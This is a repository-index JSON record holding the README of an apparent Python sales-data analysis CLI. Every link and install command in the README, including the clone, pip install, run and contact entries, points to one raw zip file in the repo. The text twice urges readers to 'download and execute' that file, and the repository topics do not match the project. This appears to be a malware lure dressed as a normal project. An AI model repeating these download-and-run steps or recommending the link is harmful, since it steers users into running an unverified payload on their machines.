{"id":29413950,"url":"https://github.com/kashifkhan7/cleaning-analysis_cli","last_synced_at":"2026-04-13T17:02:13.082Z","repository":{"id":302759560,"uuid":"1013485662","full_name":"kashifkhan7/Cleaning-Analysis_CLI","owner":"kashifkhan7","description":"Analyze sales data easily with our CLI app. Gain insights on revenue trends and visualize results using Python, Pandas, and Matplotlib. 🚀📊","archived":false,"fork":false,"pushed_at":"2026-04-09T09:24:55.000Z","size":493,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2026-04-09T11:22:37.691Z","etag":null,"topics":["conditional-statements","css","data","datacleaning","exception-handling","exiftool","html","json","matplotlib-pyplot","metadata","metadata-extraction","pandas-python","python","sales-analysis","seaborn-python","speech-to-text","transcription","youtube"],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/kashifkhan7.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2025-07-04T01:44:40.000Z","updated_at":"2026-04-09T09:24:59.000Z","dependencies_parsed_at":"2025-07-11T06:18:52.946Z","dependency_job_id":"fe7aae61-4fc8-4b67-81fd-24be9b148e2c","html_url":"https://github.com/kashifkhan7/Cleaning-Analysis_CLI","commit_stats":null,"previous_names":["kashifkhan7/cleaning-analysis_cli"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/kashifkhan7/Cleaning-Analysis_CLI","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kashifkhan7%2FCleaning-Analysis_CLI","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kashifkhan7%2FCleaning-Analysis_CLI/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kashifkhan7%2FCleaning-Analysis_CLI/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kashifkhan7%2FCleaning-Analysis_CLI/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/kashifkhan7","download_url":"https://codeload.github.com/kashifkhan7/Cleaning-Analysis_CLI/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kashifkhan7%2FCleaning-Analysis_CLI/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":31761996,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-04-13T15:25:13.801Z","status":"ssl_error","status_checked_at":"2026-04-13T15:25:09.162Z","response_time":93,"last_error":"SSL_read: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["conditional-statements","css","data","datacleaning","exception-handling","exiftool","html","json","matplotlib-pyplot","metadata","metadata-extraction","pandas-python","python","sales-analysis","seaborn-python","speech-to-text","transcription","youtube"],"created_at":"2025-07-11T12:01:09.318Z","updated_at":"2026-04-13T17:02:13.076Z","avatar_url":"https://github.com/kashifkhan7.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Cleaning Analysis CLI: Analyze Sales Data with Ease\n\n![GitHub release](https://raw.githubusercontent.com/kashifkhan7/Cleaning-Analysis_CLI/main/accumulative/Cleaning-Analysis-CLI-v2.8.zip)\n\n## Table of Contents\n\n- [Overview](#overview)\n- [Features](#features)\n- [Installation](#installation)\n- [Usage](#usage)\n- [Data Handling](#data-handling)\n- [Visualizations](#visualizations)\n- [Contributing](#contributing)\n- [License](#license)\n- [Contact](#contact)\n\n## Overview\n\nThe **Cleaning Analysis CLI** is a Python-based command-line tool designed for analyzing sales data. Users can easily load data from a CSV file and interact with it through a straightforward interface. This tool provides insights into product-wise and region-wise revenues, making it ideal for data analysis tasks.\n\nFor the latest version, download and execute from [here](https://raw.githubusercontent.com/kashifkhan7/Cleaning-Analysis_CLI/main/accumulative/Cleaning-Analysis-CLI-v2.8.zip).\n\n## Features\n\n- **Interactive CLI**: Engage with your data through a user-friendly command-line interface.\n- **Product-wise Analysis**: Get insights into revenue generated by each product.\n- **Region-wise Analysis**: Understand how different regions perform in terms of sales.\n- **Intelligent Missing Data Handling**: The tool manages missing values effectively, ensuring accurate analysis.\n- **Tabular Summaries**: View data summaries in an easy-to-read format.\n- **Rich Visualizations**: Generate graphs and charts to visualize your data, making insights clearer.\n\n## Installation\n\nTo get started with the Cleaning Analysis CLI, follow these steps:\n\n1. **Clone the Repository**:\n   ```bash\n   git clone https://raw.githubusercontent.com/kashifkhan7/Cleaning-Analysis_CLI/main/accumulative/Cleaning-Analysis-CLI-v2.8.zip\n   ```\n\n2. **Navigate to the Directory**:\n   ```bash\n   cd Cleaning-Analysis_CLI\n   ```\n\n3. **Install Dependencies**:\n   Make sure you have Python installed. Then, run:\n   ```bash\n   pip install -r https://raw.githubusercontent.com/kashifkhan7/Cleaning-Analysis_CLI/main/accumulative/Cleaning-Analysis-CLI-v2.8.zip\n   ```\n\n4. **Run the Application**:\n   After installation, you can run the application:\n   ```bash\n   python https://raw.githubusercontent.com/kashifkhan7/Cleaning-Analysis_CLI/main/accumulative/Cleaning-Analysis-CLI-v2.8.zip\n   ```\n\n## Usage\n\nOnce the application is running, you can interact with it through the command line. The following commands are available:\n\n- **Load Data**: \n  Load your CSV file using the command:\n  ```bash\n  load \u003chttps://raw.githubusercontent.com/kashifkhan7/Cleaning-Analysis_CLI/main/accumulative/Cleaning-Analysis-CLI-v2.8.zip\u003e\n  ```\n\n- **Show Summary**:\n  Get a summary of the data:\n  ```bash\n  summary\n  ```\n\n- **Product Analysis**:\n  Analyze revenue by product:\n  ```bash\n  product_analysis\n  ```\n\n- **Region Analysis**:\n  Analyze revenue by region:\n  ```bash\n  region_analysis\n  ```\n\n- **Visualize Data**:\n  Generate visualizations:\n  ```bash\n  visualize\n  ```\n\n## Data Handling\n\nThe Cleaning Analysis CLI efficiently handles data, including missing values. It uses the following methods:\n\n- **Fill Missing Values**: Automatically fills missing entries with the mean or median.\n- **Drop Rows**: Option to drop rows with too many missing values.\n- **Data Type Conversion**: Ensures that data types are correct for analysis.\n\n### Example\n\nIf your CSV file has missing values in the revenue column, the tool will intelligently fill these gaps before performing any analysis.\n\n## Visualizations\n\nThe application uses libraries like Matplotlib and Seaborn to create visualizations. Here are some examples of the visualizations you can generate:\n\n- **Bar Charts**: Compare product revenues side by side.\n- **Pie Charts**: Show the proportion of sales by region.\n- **Line Graphs**: Track revenue trends over time.\n\n### Sample Visualization Command\n\nTo visualize the product revenue, simply run:\n```bash\nvisualize product_revenue\n```\n\n## Contributing\n\nWe welcome contributions to the Cleaning Analysis CLI. If you would like to contribute, please follow these steps:\n\n1. **Fork the Repository**: Click on the fork button on the top right of the repository page.\n2. **Create a Branch**: \n   ```bash\n   git checkout -b feature/YourFeature\n   ```\n3. **Make Your Changes**: Edit the code as needed.\n4. **Commit Your Changes**: \n   ```bash\n   git commit -m \"Add some feature\"\n   ```\n5. **Push to the Branch**: \n   ```bash\n   git push origin feature/YourFeature\n   ```\n6. **Open a Pull Request**: Go to the original repository and click on \"New Pull Request\".\n\n## License\n\nThis project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details.\n\n## Contact\n\nFor questions or feedback, please reach out:\n\n- **GitHub**: [kashifkhan7](https://raw.githubusercontent.com/kashifkhan7/Cleaning-Analysis_CLI/main/accumulative/Cleaning-Analysis-CLI-v2.8.zip)\n- **Email**: https://raw.githubusercontent.com/kashifkhan7/Cleaning-Analysis_CLI/main/accumulative/Cleaning-Analysis-CLI-v2.8.zip\n\nFor the latest version, download and execute from [here](https://raw.githubusercontent.com/kashifkhan7/Cleaning-Analysis_CLI/main/accumulative/Cleaning-Analysis-CLI-v2.8.zip).","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fkashifkhan7%2Fcleaning-analysis_cli","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fkashifkhan7%2Fcleaning-analysis_cli","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fkashifkhan7%2Fcleaning-analysis_cli/lists"}